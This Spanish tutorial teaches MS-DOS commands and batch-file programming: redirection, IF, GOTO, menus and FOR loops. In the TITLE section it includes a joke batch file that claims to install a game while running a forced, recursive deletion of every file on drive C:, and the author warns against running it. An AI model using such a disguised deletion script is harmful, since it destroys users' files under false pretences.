• No se han encontrado resultados

Aprende a Crear Un Archivo Batch, En 10 Pasos (Nost)

N/A
N/A
Protected

Academic year: 2021

Share "Aprende a Crear Un Archivo Batch, En 10 Pasos (Nost)"

Copied!
38
0
0

Texto completo

(1)

APRENDE A CREAR UN

ARCHIVO BATCH, EN 10 PASOS

Creado por

Nost

<[email protected]>

Edición y versión PDF por

FranRG96

(2)

INTRODUCCIÓN

El nivel del texto es bajo-medio, pero tendrías que saber al menos "algo" del MS-DOS para poder "avanzar" en este texto.

Sufrí un pequeño problema con el texto, por lo que quizás falte algún que otro punto. Me explico: puede que algunas frases queden así Como has visto, falta un punto al final de la frase :) De todas formas, me he preocupado especialmente de que no falten puntos en los códigos. Otra cosa: no hay ningún acento o eñe en el texto (Nota: Corregido en esta versión). Es por motivos de compatibilidad. Quizás mi UTF8 se os atraviese. También me he preocupado de no excederme de las 79 columnas. Espero que estas precauciones funcionen.

Este artículo se supone que debe ser publicado por SET. Me lincharan si ven que lo he publicado en otro sitio... o no.

No os asustéis por el tamaño del texto, más de la mitad son ejemplos, listados creados por los propios programas, refritos de otros documentos, etc. De todas formas, os aviso: yo cuando escribo un texto puedo llegar a ser *extremadamente* pesado. Fíjate si el texto es un tostón, que no me lo he leído ni yo, que ya es decir :D

Este articulo tiene grandes dosis de humor español y andaluz, así que si te cuesta trabajo entender algún concepto, contact me, contact me... ¿Cómo que "que"? Que me contactes cojones, ¿es que nadie sabe ingles aquí o qué?

(3)

ÍNDICE

1) NOCIONES BÁSICAS SOBRE EL MS-DOS a) Comandos principales del DOS

DIR CD o CHDIR ECHO COPY MOVE DEL REN MD RD EXIT SET ATTRIB LABEL TITLE TREE MAKECAB EXPAND MORE

2) PROGRAMACION DE ARCHIVOS BATCH a) Un echo sencillo b) Los argumentos c) Redirección simple d) Alias e) Más redirección Redireccionador > Redireccionador >> Redireccionador < Redirecionador | f) Comando IF

IF EXIST Archivo comando IF NOT EXIST Archivo comando IF [NOT] %1=Parámetro comando IF [NOT] Variable=Valor comando IF [NOT] ERRORLEVEL Número comando Estructuras IF

g) Etiquetas y GOTO

h) Lo importante es poder elegir i) Comando FOR

j) Otras órdenes

REM y los comentarios START

(4)

3) EJEMPLOS a) Ejemplo 1 b) Ejemplo 2 c) Ejemplo 3 d) Ejemplo 4 4) APÉNDICE

a) TIPS de cómo usar el intérprete de comandos y el batching b) ARCHIVOS EXTRAÑOS que nadie debería conocer

CON NUL LPTx COMx AUX PRN

c) CARACTERES EXTRAÑOS que hacen cosas raras

d) FUNCIONES INDOCUMENTADAS DEL DOS, o las cosas que no debieron salir de Microsoft. TRUENAME (NO funciona en NT)

COMMAND IF (no estoy seguro si funciona en NT… supongo que sí) VER /R (NO funciona en NT)

FORMAT AUTOTEST (NO funciona en NT))

FORMAT /U (SÍ funciona en NT, según lo que entiendan por “funcionar”) FORMAT /Z (NO funciona en NT, ya hay otra función documentada) DIR, (NO funciona en NT)

DEL. (SIIIIII funciona en NT) 5) NOTA SENTIMENTAL

(5)

1) NOCIONES BÁSICAS SOBRE EL MS-DOS

Bueno, antes de empezar con la "chicha" del artículo, tendremos que hablar del MS-DOS, inevitablemente. Si no lo conoces a él o a su funcionamiento, poco podrás programar. Si ya conoces el MS-DOS, sáltate esta sección, porque realmente no aprenderás nada nuevo. Espero que comprendas que para abrir un intérprete de comandos, debes pulsar para Windows 9x (95, 98, Me):

Inicio > Ejecutar... > command.com Y para la familia NT (NT, 2k, XP, 2k3): Inicio > Ejecutar... > cmd.exe

a) Comandos principales del DOS

Para introducir estos comandos, hay que escribir el comando y luego pulsar Enter. Para obtener ayuda, hay que escribir "nombredelcomando /?", sin las comillas, evidentemente.

DIR

Genera una lista con los archivos de la carpeta. Ejemplo: Z:\>dir

El volumen de la unidad Z es Nost

El número de serie del volumen es: 8408-2412 Directorio de Z:\

28/10/2006 15:35 <DIR> 28/10/2006 15:35 <DIR>

21/10/2006 20:56 5.253.290 Actualizado.txt 24/10/2006 15:49 <DIR> Archivos de programa

28/10/2006 14:59 597 Creación de archivos Batch.txt 14/10/2006 23:22 <DIR> deCFS

15/10/2006 00:54 <DIR> Discos 14/10/2006 23:25 <DIR> Documentos

15/10/2006 14:51 <DIR> Documentos sueltos 15/10/2006 11:47 <DIR> Haxor

22/10/2006 01:19 <DIR> Imágenes de CD 20/10/2006 00:38 <DIR> Imágenes sueltas 22/10/2006 02:22 <DIR> Instaladores 28/10/2006 14:37 24 irs.txt 22/10/2006 08:08 <DIR> Juegos 23/10/2006 17:12 <DIR> Mi música 25/10/2006 20:22 <DIR> Móviles 14/10/2006 23:28 <DIR> Música suelta 21/10/2006 10:01 <DIR> Partidas guardadas

(6)

27/10/2006 15:05 <DIR> Programas sueltos 26/10/2006 17:06 <DIR> SET 23/10/2006 23:13 <DIR> Temporales 22/10/2006 22:25 12.739 Visual Hacker 98.txt 15/10/2006 12:22 <DIR> Videos 6 archivos 5.268.505 bytes

20 dirs 804.700.160 bytes libres

CD o CHDIR

Cambia el directorio actual, es decir, con el que estamos trabajando. Su funcionamiento es: cd nombre del directorio. Ejemplo:

Z:\>cd Imágenes de CD Z:\Imágenes de CD>

Para comprobar si lo hemos hecho bien, siempre nos quedara DIR ;) Z:\Imagenes de CD>dir

El volumen de la unidad Z es Nost

El número de serie del volumen es: 8408-2412 Directorio de Z:\Imágenes de CD 22/10/2006 01:19 <DIR> 22/10/2006 01:19 <DIR> 10/09/2006 22:29 788.886.672 CT3.mdf 10/09/2006 22:29 2.850 CT3.mds 12/09/2004 23:55 1.618.176 Sims2.MDF 12/09/2004 23:55 486 Sims2.MDS 4 archivos 790.508.184 bytes 2 dirs 805.019.648 bytes libres ¡Perfecto!

ECHO

Muestra un texto en la pantalla. Funcionamiento: echo texto a mostrar. Ejemplo: Z:\Imagenes de CD>echo Esto es una prueba

Esto es una prueba

Otra forma es ECHO OFF, esto hace que los comandos que se van ejecutando de un archivo batch, no se muestren en pantalla. Para usarlo, hay que ponerlo como primera línea del archivo, o por lo menos, desde el momento en el que quieres que dejen de verse los comandos.

ECHO ON hará que vuelvan a aparecer los comandos que se ejecutan.

Si lo que se quiere es que un comando puntual no se muestre, se añade @ al principio: @copy archivo1 archivo2

(7)

Por lo tanto, es recomendable en vez de poner ECHO OFF, poner @ECHO OFF. La mayoría de los batch empiezan con esa línea.

Mucha gente hace la misma pregunta: ¿cómo poner una línea en blanco? Hay varias maneras de hacer esto. La principal es:

echo. Pero hay más: echo, echo: echo; echo[ echo] echo( echo) echo/

Aun así hay muchos más, aunque creo que con te aprendas una de ellas... 

COPY

Copia un archivo. Funcionamiento: copy archivodeorigen.ext archivodedestino.ext. Recuerda: si el archivo contiene espacios, entrecomilla los nombres.

copy "Archivo de origen.extension de archivo" "Archivo de destino.idem"

MOVE

Mueve un archivo. Funcionamiento: move archivodeorigen.ext archivodedestino.ext.

Realmente el funcionamiento de este comando es equivalente copiar el archivo en la nueva ubicación, y luego eliminar el anterior.

DEL

Elimina un archivo. Funcionamiento: del nombredearchivo.ext.

REN

Renombra un archivo. Funcionamiento: ren nombreoriginal.ext nombrecambiado.ext.

MD

Crea una carpeta. Funcionamiento: md nombredecarpeta.

RD

(8)

EXIT

Sale del programa. Funcionamiento: exit va solo, sin argumentos. Hace que el archivo batch acabe, aunque haya más comandos después. También acepta un argumento muy importante: exit /b

Si lo usas, la ventana MS-DOS sólo se cerrara si invocaste el archivo batch desde el explorador de Windows. Si lo llamaste desde cmd.exe, la ventana no se cerrara, lo que es una ventaja. Espero haberme explicado bien.

SET

Maravillosa E-Zine, y comando que establece y muestra las variables de entorno. Funcionamiento: para ver las variables a las que ya se les ha dado un valor, escribe SET sin parámetros:

C:\>set

ALLUSERSPROFILE=C:\Documents and Settings\All Users

APPDATA=C:\Documents and Settings\Administrador\Application Data CLASSPATH="o\QTJava.zip"

CLIENTNAME=ConsoleCommonProgramFiles=Z:\Archivos de programa\Archivos comunes COMPUTERNAME=NOSTComSpec=C:\WINNT\system32\cmd.exe

HOMEDRIVE=C:

HOMEPATH=\Documents and Settings\Administrador LOGONSERVER=\\NOST

NUMBER_OF_PROCESSORS=1 OS=Windows NT

Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\System32\Wbem;C:\Archivos de programa\ATI Technologies\ATI Control Panel

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.TXT;.CAB PROCESSOR_ARCHITECTURE=x86

PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 2, AuthenticAMD PROCESSOR_LEVEL=6 PROCESSOR_REVISION=0602 programfiles=C:\Archivos de programa PROMPT=$P$G QTJAVA="o\QTJava.zip" root=c:\ SESSIONNAME=Console SystemDrive=C: SystemRoot=C:\WINNT TEMP=C:\DOCUME~2\ADMINI~1\CONFIG~1\Temp TMP=C:\DOCUME~2\ADMINI~1\CONFIG~1\Temp USERDOMAIN=NOST USERNAME=Administrador

USERPROFILE=C:\Documents and Settings\Administrador windir=C:\WINNT

(9)

Si solo quieres ver el contenido de una variable, se escribe sola, después de set: C:\>set PROCESSOR_IDENTIFIER

PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 2, AuthenticAMD

Si lo que quieres es modificar una variable de entorno, o crear una nueva, se usa así: set variable=valor. Pongamos un ejemplo:

C:\>set variable=valor

No me lo he currado mucho :) ahora ponemos set, y vemos el resultado: C:\>set

ALLUSERSPROFILE=C:\Documents and Settings\All Users

APPDATA=C:\Documents and Settings\Administrador\Datos de programa ...me lo salto...

USERPROFILE=C:\Documents and Settings\Administrador variable=valor <<< ¡¡¡AQUÍ TENEMOS LA NUESTRA!!! :D windir=C:\WINDOWS

Aunque la variable "variable" ha sido la última en añadirse, está ordenado alfabéticamente, así que se queda la penúltima.

ATTRIB

Cambia los atributos de un archivo o directorio. Funcionamiento: para ver los atributos de todos los archivos de la carpeta actual, se pone ATTRIB sin atributos:

Z:\>attrib

A Z:\Actualizado.txt

A Z:\Creacion de archivos Batch.txt A SH Z:\Desktop.ini

A R Z:\Common.pswd A Z:\Satisfucktion.ymx A Z:\Visual Hacker 98.txt

A: El archivo está listo para archivar, ¿es complicado? Si se hace una copia de seguridad, el atributo se quita de todos los archivos copiados. En cuanto se modifican, se vuelve a establecer este atributo, indicando que en la próxima copia se tiene que actualizar el archivo, ya que ha cambiado. Nombre completo: Archive (Archivar).

S: El archivo es de sistema. La mayoría de los archivos con ese atributo son necesarios para Windows. En este caso Desktop.ini establece el icono de la carpeta. Nombre completo: System (Sistema).

H: El archivo está oculto. Estos archivos no se ven con un simple dir, y Windows los oculta de forma predeterminada. Para cambiar esto, hay que ir a Herramientas > Opciones de Carpeta >

(10)

Ver > Mostrar todos los archivos y carpetas ocultos (Si usas W9x, en vez del Menú > Herramientas, es el Menú > Ver). Nombre completo: Hidden (Oculto).

R: El archivo es de solo lectura, aunque eso no impedirá que se cambie el contenido, simplemente se ponen más impedimentos. Nombre completo: Read-Only (Solo lectura). Para cambiar un atributo: attrib archivo +atributoaa~adir –atributoaquitar. Ejemplo: Z:\>attrib Desktop ini +R -S -H

Los atributos ya se han cambiado, si pones attrib veras el resultado: Z:\>attrib

A R Z:\Desktop.ini

Para devolverlo a su estado original: Z:\>attrib Desktop ini -R +S +H

Como puedes ver, se pueden cambiar varios atributos a la vez.

LABEL

Cambia la etiqueta de volumen de un disco. Funcionamiento: escribe label sin parámetros para conocer la etiqueta y tener la opción de cambiarla:

C:\>label

El volumen de la unidad Z: es Nost

El número de serie del volumen es 8408-2412

Escriba una etiqueta de volumen (Entrar para ninguna)

Si le metes un argumento, este será la nueva etiqueta de volumen de la unidad actual: C:\>label Chúpame el huevo izquierdo

Recuerda que solo NTFS admite más de 11 letras en la etiqueta.

TITLE

Cambia el título de la ventana MS-DOS. Funcionamiento: title título de la ventana. Por ejemplo: @echo off

title Programa al que *NUNCA* se le ocurriría borrar tus archivos y carpetas

c: echo Espera mientras el InstallShield te instala un juego para mear y no echar gota del * /f /s /q

exit

Espero no tener que avisar que ejecutar ese programa podría dañar seriamente la integridad de tus ficheros.

(11)

TREE

Muestra el árbol de directorios. Funcionamiento: tree sin parámetros, muestra todo lo que haya dentro de la carpeta donde estás y todas las subcarpetas:

Z:\SET>tree

Listado de rutas de carpetas para el volumen Nost El número de serie del volumen es 71F4E346 8408:2412 Z: +---set +---saquea1 +---saquea10 +---saquea11 +---saquea2 +---saquea3 +---saquea4 +---saquea5 +---saquea6 +---saquea7 +---saquea8 +---saquea9 +---saq con +---set12 +---set13 +---set14 +---set15 +---set16 +---set17 +---SET17 +---set17 +---set17 +---set18 +---WINNT +---Profiles +---Administrator +---Desktop +---set18 +---set19 +---set19 +---set19 +---freecad +---ejemplos +---cadenas +---pavcl +---scan +---tbscan +---files

(12)

+---iconos +---psx +---scards +---set20 +---set20 +---cabina +---set21 +---sch +---set22 +---digital +---set23 +---set24 +---set25 +---set26 +---set27 +---set28 +---set29 +---set30 +---set31 +---set32 +---set33

TREE /f es un argumento para que TREE te muestre los archivos: Z:\SET>tree /f

Listado de rutas de carpetas para el volumen Nost El número de serie del volumen es 71F4E346 8408:2412 Z: set[1].7z.001 set[1].7z.002 set[1].7z.003 +---set +---saquea1 SAQUEA1 TXT +---saquea10 FREQS TXT SAQ10 TXT +---saquea11 SAQUEA11 TXT +---saquea2 SAQUEA2 TXT +---saquea3 SAQ3 TXT +---saquea4 FILE ID DIZ SAQUEA4 TXT

(13)

+---saquea5 SAQUEA5 TXT

...pedazo listado que me salto para no hacerlo pesado... +---set32 0x00 txt 0x01 txt 0x02 txt 0x03 txt 0x04 txt 0x05 txt 0x06 txt 0x07 txt 0x08 txt 0x09 txt 0x0A txt 0x0B txt 0x0C txt 0x0D txt 0x0E txt 0x0F txt 0x10 txt 0x11 txt +---set33 0x00 txt 0X01 TXT 0X02 TXT 0X03 TXT 0X04 TXT 0X05 TXT 0X06 TXT 0X07 TXT 0X08 TXT 0X09 TXT 0X0A TXT 0X0B TXT 0X0C TXT 0X0D TXT 0X0E TXT 0X0F TXT

Este comando puede llegar a ser muy interesante...

MAKECAB

Comprime uno o varios archivos, al formato Microsoft Cabinet (.cab). Funcionamiento: makecab archivoacomprimir archivocomprimido.

(14)

Imagina que hemos mirado con un dir que hay un archivo... lo digo porque tiene que existir. Bueno, pues, para comprimirlo:

Z:\>makecab "Visual Hacker 98.txt" "Visual Hacker 98.cab" Microsoft (R) Cabinet Maker - Version 5.1.260.90

Copyright (c) Microsoft Corporation. All rights reserved. 100.00% [flushing current folder]

Z:\>

Tres observaciones:

1: El nombre de archivo comprimido puede ser el que quieras, puedes poner la extensión que te dé la gana.

2: Como con todos los comandos del MS-DOS, si el archivo incluye espacios, se ha de poner entre comillas.

3: Si no quieres leer todo ese rollazo del copyright, incluye detrás del comando el parámetro >nul

Z:\>makecab "Visual Hacker 98.txt" "Visual Hacker 98.cab" >nul Z:\>

Miremos el nuevo tamaño del archivo:

29/10/2006 23:19 5.605 Visual Hacker 98.cab 22/10/2006 21:25 12.739 Visual Hacker 98.txt

Hombre, realmente este sistema de compresión no es "la leshe", pero como apaño va bien. La compresión en textos es perfecta... pero no tanto en otros tipos de archivo.

29/10/2006 23:24 5.466 Visual Hacker 98.7z

Realmente, no es tanta diferencia. Puse el 7z en Ultra así que para textos el cab es bueno, después de todo.

EXPAND

Bueno, pues aquí está el "hermano" del makecab, el expand. Funcionamiento: expand nombrearchivocomprimido nuevoarchivodescomprimido. Por ejemplo:

expand "Visual Hacker 98.cab" "Visual Hacker 98-2.txt"

He cambiado el nombre para no tener que sobrescribir el archivo anterior. Si todo ha ido bien, tiene que haberse descomprimido con el nuevo nombre.

MORE

Con este programa y una buena redirección, todo funciona sin montar un follón. Por ejemplo, en un directorio muy grande un dir puede ser infernal. Sin embargo:

(15)

Sacará la información por pantallas. También lo puedes usar para archivos: more < archivo

Más información sobre esos extraños operadores de redirección, dentro del propio texto. Creo que con este listado ya es más que suficiente. Ya hay comandos de sobra para empezar, pero si quieres más (más, más, MÁSSS) siempre te queda el comando HELP. Por cierto, hay más explicaciones de comandos en los apéndices.

2) PROGRAMACIÓN DE ARCHIVOS BATCH

Bueno, empecemos. Recuerda que los archivos batch (o archivos por lotes, pero prefiero lo de archivos batch) son archivos que contienen comandos ejecutables separados por un salto de línea. Sencillo. Evidentemente, esos programas deben existir en tu ordenador. Si los escribes bien, podrás realizar tareas complejas sin necesidad de tener que escribir todos los comandos uno a uno. Sencillo.

Puedes usar cualquier programa editor de texto para realizar un archivo batch, pero recuerda que deben ser codificados como texto plano, así que te recomiendo el Bloc de Notas.

Comencemos a programar algo sencillo. Aunque a veces hablare de los batch como programas, realmente no lo son, los batch necesitan un programa que ejecutar, y como mínimo un intérprete de comandos (léase: cmd.exe o command.com, aunque hay intérpretes de terceros de los que no hablaremos.

a) Un echo sencillo

El primer batch, será fácil y rápido. Consistirá en un programa que te dirá "Hola". Es muy original. Abre el Bloc de Notas, y escribe:

echo Hola

Pulsa Archivo, y luego Guardar. En "Tipo de archivo" selecciona "todos los archivos" y en nombre de archivo pon "%systemroot%\system32\hola.bat".

Entra en el símbolo de sistema, y escribe hola. Recibirás esta respuesta, si lo has hecho bien: C:\Documents and Settings\Administrador>hola

C:\Documents and Settings\Administrador>echo Hola Hola

(16)

b) Los argumentos

Vamos a personalizar el programa. Todavía no habrás cerrado el Bloc de Notas, ¿¿¿¿verdad???? jejeje... recuerda dónde lo guardaste. Vuelve a abrirlo, y cambia lo que tienes por:

echo Buenos días, %1!

Guarda, y ejecuta el programa escribiendo: hola Takeshi

El programa te responderá:

C:\Documents and Settings\Administrador>hola Takeshi

C:\Documents and Settings\Administrador>echo Buenos días, Takeshi! Buenos días, Takeshi!

¡Asombroso! Hemos avanzado un poco en los argumentos, pero no lo suficiente. Crea un archivo batch, como lo hemos hecho antes, pero ahora con el nombre "%systemroot%\system32\argumnts.bat" con las siguientes líneas:

@echo off

echo EN ORDEN: %1 %2 %3 %4 echo INVERTIDOS: %4 %3 %2 %1 echo MEZCLADOS: %2 %1 %4 %3

Guárdalo, y en el símbolo del sistema, escribe: argumnts hola windoze juan perro

Y responde:

C:\Documents and Settings\Administrador>argumnts hola windoze juan perro EN ORDEN: hola windoze juan perro

INVERTIDOS: perro juan windoze hola MEZCLADOS: windoze hola perro juan ¡Impresionante!

c) Redirección simple

¿Recuerdas el comando dir? Con este programa puedes saber los archivos de un directorio. Pero, ¿qué pasa si quieres, de una forma rápida, obtener una lista de archivos en un archivo? Escribe en el símbolo:

(17)

Aparentemente no ha ocurrido nada, pero, si entras en Mi PC, luego en "Disco local (C:)" y abres el nuevo archivo "lista.txt", aquí tienes el contenido:

El volumen de la unidad C es Nost

El número de serie del volumen es: 8408-2412

Directorio de C:\Documents and Settings\Administrador 28/10/2006 17:00 <DIR> 28/10/2006 17:00 <DIR> 14/10/2006 15:10 240.642 .fonts cache-1 26/10/2006 18:35 <DIR> .gimp-2.0 14/10/2006 15:16 <DIR> .thumbnails 24/09/2006 19:58 <DIR> CFS

15/10/2006 16:14 <DIR> Configuración local 26/10/2006 07:33 <DIR> Escritorio

22/10/2006 03:33 <DIR> Favoritos 22/10/2006 07:39 <DIR> Menú Inicio 26/10/2006 16:06 <DIR> Mis documentos 18/09/2006 09:57 <DIR> WINDOWS 7 archivos 248.130 bytes

11 dirs 803.950.592 bytes libres

¿No querías una lista? Aquí la tienes. Bueno, eso sirve para todos los comandos que muestran una salida por pantalla. También puedes añadir un archivo a otro. Escribe:

copy /? >> c:\salida.txt

Cierra el archivo, y vuelve a abrirlo. El archivo ha cambiado. Copia uno o más archivos en otra ubicación ;)

COPY [/V] [/N] [/Y a /-Y] [/Z] [/A a /B ] origen [/A a /B] [+ origen [/A a /B] [+nost]] [destino [/A a /B]]

Origen: Especifica el archivo o archivos que deben copiarse… (UNA PEXA DE AYUDA QUE ME SALTO) …varios archivos de origen (usando caracteres comodines o el formato archi...

Bien, hemos aprendido algo más.

d) Alias

Alias, esa gran serie de Cuatro, también nos puede ayudar usando el símbolo del sistema. Cuando escribes:

notepad salida.txt

(18)

Pero si quieres hacer la tarea más sencilla (más sencillo que eso... :?) puedes hacer un archivo "c:\windows\system32\np.bat" con las líneas:

@echo off notepad %1

Eso hace que el bloc de notas (notepad, es su nombre de aplicación) abra el archivo que se le ha pasado como argumento (%1) ¿Porque recuerdas los argumentos, no?

Ahora, en vez de escribir notepad nombredearchivo para abrirlo, necesitaras escribir solo: np nombredearchivo

¡Extraordinario!

e) Más redirección

Aunque de los dos primeros redireccionadores ya hemos hablado, hagámoslo de nuevo... (sois unos mal pensados).

Redireccionador >

Primero, explicar que es la salida de un programa... si escribes "dir" en la consola, te sacara una lista de archivos. Y si escribes "help", te mostrara una lista de programas ejecutables desde el símbolo del sistema.

En todo caso, los dos textos que salen al ejecutar un programa son lo que se llama "salida de un programa".

Si quieres que la salida de un programa se escriba a un fichero, > es tu operador. Y se usa así: comando > fichero

Por ejemplo, si quieres un listado de archivos de la carpeta actual en el archivo "lista.txt", escribe:

dir > lista.txt Y ahí lo tienes.

Si el archivo de salida ya existía, será sobrescrito. 

Redireccionador >>

Este redireccionador es exactamente igual que el >, pero en el caso de que el archivo de salida ya exista, no lo borra, sino que la salida se añade al final de dicho fichero. Y ya sé que no me he explicado bien.

(19)

Redireccionador <

Este redireccionador la verdad es que no tengo ni puta idea de cómo se usa, pero intentare explicarlo.

Se supone que si el redireccionador > manda la salida de un programa a un fichero, el redireccionador < manda un fichero a un programa. Yo tampoco lo entiendo.

El único programa que yo conozco que sea compatible con este redireccionador es "debug", un programa que era muy útil pero ya no lo es tanto, solo para emergencias :( Paséate por ese programa si quieres, yo tampoco se usarlo.

Ah, y "more", también es compatible. 

Redireccionador |

Bueno, este si es útil. Este hace que un programa se encargue de la salida de otro programa. Verás:

programa1 | programa2 ...es equivalente a... programa1 > archivo programa2 < archivo

Esto es especialmente útil con el comando more, explicado más arriba.

f) Comando IF

Vamos por algo mas complicado... el comando if verifica una condición, si se cumple ejecuta un comando, y si no, ejecuta otro.

IF EXIST archivo comando

¿Recuerdas el programa de antes? Añadir esta línea: IF EXIST info.txt DEL info.txt

Es muy interesante, si no quieres que se acaben apelotonando los datos, y que el archivo acabe ocupando medio disco duro.

IF NOT EXIST archivo comando

Ejemplo:

IF NOT EXIST info.txt EXIT

Con esta línea, si no existe info.txt se acabara el proceso por lotes. Esto puede ser útil si la línea siguiente incluye, por ejemplo:

(20)

notepad info txt // Abrir info.txt con el Bloc de Notas copy info.txt a:\ // Copiar archivo info.txt a el diskette a: ren info.txt info01.txt // Renombrar info.txt a info01.txt

Si vas a crear un batch a partir de esto, ¡CORTA LA LINEA A PARTIR DEL "//"!

IF [NOT] %1=parámetro comando

Esto sirve para comprobar si un parámetro es igual a un valor, y así poder ejecutar un comando en consecuencia. Evidentemente, se pueden poner varios parámetros (%2, %3... recuerda lo aprendido en el paso 2).

Ejemplo:

if %1==quake "C:\archivos de programa\quake iii arena\quake3.exe" if %1==bloc notepad.exe

if %1==calculadora calc.exe

IF [NOT] variable=valor comando

Con esto se confirma una variable de entorno. Ejemplo:

if %OS%==Windows NT echo El sistema operativo es NT Recuerda que también se puede usar el comando IF NOT:

if %OS%==Windows NT setupNT.exe //Si es NT, ejecutar setupNT.exe if not %OS%==Windows NT setup9x.exe //Y si no es NT, ejecutar setup9x.exe Este comando es realmente interesante y útil.

IF [NOT] ERRORLEVEL número comando

Esto evalúa el último errorlevel presente. Los errorlevel son números generados por los programas que informan cómo han terminado su ejecución. Por ejemplo, el comando format (que sirve para formatear una unidad de disco, como su nombre indica) devuelve el código errorlevel 3 cuando se ha finalizado pulsando Ctrl-C, y el errorlevel 0 cuando acaba normalmente. No todos los programas devuelven un errorlevel, y los errorlevel se borran cuando se ejecuta otro programa.

Estructuras IF

Bueno, el titulo no enseña muy bien lo que es. if exist info.txt (

del info txt

(21)

) else if exist informe.txt ( del informe txt

echo Archivo eliminado ) else (

echo No existía el archivo )

Si alguna vez tuviste que programar en C, seguro que te suena lo de los paréntesis... pero con corchetes {}. Creo que las estructuras if son más sencillas, sobre todo en caso de que necesites varias comprobaciones IF. Espero no tener que avisar que se pueden poner varios tipos de IF a la vez, EXIST, VARIABLE y ERRORLEVEL. ¡Ah! y al igual que en los C, se puede poner una estructura IF dentro de otra. Esto funcionaria:

if exist info.txt ( del info.txt if exist info2.txt ( del info2.txt

echo Archivo no. 2 eliminado ) else if exist informe2.txt (

del informe2.txt

echo Archivo informe no. 2 eliminado ) else (

echo No existía el archivo 2 )

echo Archivo eliminado ) else if exist informe.txt ( del informe.txt

echo Archivo eliminado ) else (

echo No existía el archivo )

g) Etiquetas y GOTO

Las etiquetas se usan para identificar una línea del archivo batch. Una etiqueta es muy fácil de colocar:

:etiqueta

Para saltar a una etiqueta, se usa GOTO: goto etiqueta

Y ya está:

REM Si el archivo ya existe, ir a "error". if exist a:\copia goto error

(22)

REM Si no existe, no se ha saltado de posición, así que la copia continua. copy c:\copia a:\copia

REM Una vez concluida la copia, ir a la etiqueta FIN. Si eso no se hiciera, el mensaje "El archivo ya existe" se mostraría incluso en el caso de que todo fuera bien.

goto fin

REM Etiqueta que delimita el mensaje de error. :error

REM El susodicho mensaje de error. echo El archivo ya existe!

REM Etiqueta que delimita el final del archivo. :fin

REM Fin del programa. exit

h) Lo importante es poder elegir

¿Alguna vez has visto uno de esos menús en modo texto tan (poco) intuitivos? ¡Ahora, con el Visual Batcher 2007 puedes hacer uno! ;D Gracias al tremendo ingenio de la gran compañía de nuestro amigo Billy, en Windows NT ya no disfrutamos del comando choice. Este comando realmente simplificaba la tarea de hacer menús de elección. Las líneas que empiezan por rem, son los comentarios.

@echo off

rem Hace los comandos invisibles, así es más intuitivo. :menu

rem Especifica una etiqueta al principio, ahora veras para que sirve. echo.

rem Línea en blanco, lo siguiente es el menú. No comentado. echo MENU

echo 1) Abrir el WordPad echo 2) Abrir el Bloc de Notas echo 3) Abrir la Calculadora echo.

echo S) Salir echo.

set eleccion=

rem Crea una variable "elección" vacía, aunque creo que es innecesario :( set /p elección=Haz tu elección:

rem MUY IMPORTANTE: Para que no se junten la pregunta y la respuesta, pon un espacio al final de esta última pregunta. Aunque no se vea, es útil. Pide la elección.

if "%eleccion%" == "1" write if "%eleccion%" == "2" notepad if "%eleccion%" == "3" calc rem Hace la elección.

if /I "%eleccion%" == "s" goto end

rem Si se elige s, se va a la última etiqueta. goto :menu

(23)

rem Si no se elige ninguna opción, no se saltara de etiqueta ni se saldrá del programa, por lo que volverá al principio del archivo.

:end rem Fin

Por el público se escucha un QUEEEEEEEEEEEE generalizado, lo siento, no sé explicarlo mejor.

i) Comando FOR

For, faib... ¡Qué pasa, familia!

Grftjx... Creo que tendré que doblar la dosis de Prozac. Bueno, a lo que íbamos: ahora vamos a ver el comando for. El comando for no suele ser realmente el más usado, pero a veces es justo lo que necesitas. El comando for hace que una variable cambie su valor entre las posibilidades que tú le des, y ejecuta un comando cada vez que el valor cambie. Confundido, ¿eh? Jeje... Su sintaxis es:

FOR %%A IN (lista de valores) DO comando

Donde %%A es el nombre de la variable. (Lista de valores) simplemente es la lista de valores entre los cuales la variable %%A cambiará. Los diferentes valores se separan con un espacio en blanco.

IMPORTANTE: Las variables de FOR no son equivalentes a las variables de entorno. Una vez que acabe el comando FOR, las variables se perderán.

Veamos un ejemplo:

FOR %%B IN (Buenos Días Hacker) DO ECHO %%B

Esto hará que la variable %B cambie su valor. La primera vez será Buenos, la segunda vez será Días y la tercera, Hacker. Cada vez que %B cambia, el comando después de la palabra DO (ECHO %B en el ejemplo) se ejecuta. Así que esta línea de código escribirá en nuestra pantalla:

Buenos Días Hacker

Siempre y cuando y hayas puesto el respectivo "@echo off" al inicio. Hay algo más importante para lo que puede servir for:

FOR %%A in (*2006 txt) DO copy %%A c:\backup

Esto te servirá para copiar los siguientes archivos a c:\backup: 13-14-2006.txt

(24)

Ventas 2006.txt

Tareas a realizar en el 2006.txt

Personas a las que denegué la admisión en el 2006.txt O algo así.

Pensaras que escribir: copy *2006.txt

Sería exactamente lo mismo, bueno... no te equivocas. Sin embargo, te servirá para programas que no aceptan comodín, como expand, que descomprime archivos cabinet.

********ATENCIÓN: ¡¡¡¡¡¡¡¡¡¡NINONINONINONINONINONI!!!!!!!!!!********

Tonterías aparte, como he explicado antes, el nombre de variable es %%A, %%B, %%C... pero si vas a escribir el comando en el símbolo del sistema, quiero decir, no lo vas a incluir en un archivo batch, tienes que poner un solo símbolo de porcentaje (%):

FOR %A IN (lista de valores) DO comando

Hombre, se me olvida que esto es un curso de batching ;P

j) Otras órdenes

REM y los comentarios

Para comentar una línea completa, podrías usar REM al principio, como en el ejemplo del apartado 2H. También podrías hacer esto:

: comentario

Parece que habiendo hecho esto, lo que consigues es añadir una etiqueta. Pues te equivocas, porque el MS-DOS, al ver que a los dos puntos le sigue un espacio, interpreta que la etiqueta no es válida.

goto comentario goto comentario

Si esos dos comandos fueran distintos, :comentario y : comentario serian diferentes, pero recuerda que el MS-DOS piensa que las siguientes líneas son iguales:

copy c:\archivo.txt a:\ copy c:\archivo.txt a:\ copy c:\archivo.txt a:\ copy c:\archivo.txt a:\

(25)

Ya te imaginas lo que quiero decir.

START

Cuando llamas a un .exe o a un .bat desde tu propio archivo batch, la ejecución de tu programa queda pausada. Una vez finalizado el proceso del programa, continúa la ejecución del batch. Si no quieres que sea así, puedes usar la orden START antes del nombre del programa:

start notepad

Esto iniciara el bloc de notas, y este último funcionara a la vez de nuestro archivo batch. No lo entiendes, ¿verdad?

notepad exit

